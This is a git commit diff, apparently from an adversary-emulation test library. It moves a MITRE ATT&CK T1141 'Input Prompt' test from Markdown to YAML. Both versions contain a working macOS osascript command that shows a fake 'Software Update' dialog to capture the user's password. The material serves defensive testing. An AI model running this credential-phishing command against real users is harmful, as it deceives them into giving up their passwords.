T1141

YAM'd
2018-05-25 11:24:39 -04:00
parent 1968e0425f
commit 3b67eb41fe
2 changed files with 18 additions and 12 deletions
@@ -1,12 +0,0 @@
-# Input Prompt
-
-MITRE ATT&CK Technique: [T1141](https://attack.mitre.org/wiki/Technique/T1141)
-
-
-### Prompt User for Password (Local Phishing)
-
-    osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return  default answer "" with icon 1 with hidden answer with title "Software Update"'
-
-Reference:
-
-http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
@@ -0,0 +1,18 @@
+---
+attack_technique: T1141
+display_name: Input Prompt
+
+atomic_tests:
+- name: Prompt User for Password
+  description: |
+    Prompt User for Password (Local Phishing)
+    Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html
+
+  supported_platforms:
+    - macos
+
+
+  executor:
+    name: sh
+    command: |
+      osascript -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to activate' -e 'tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return  default answer "" with icon 1 with hidden answer with title "Software Update"'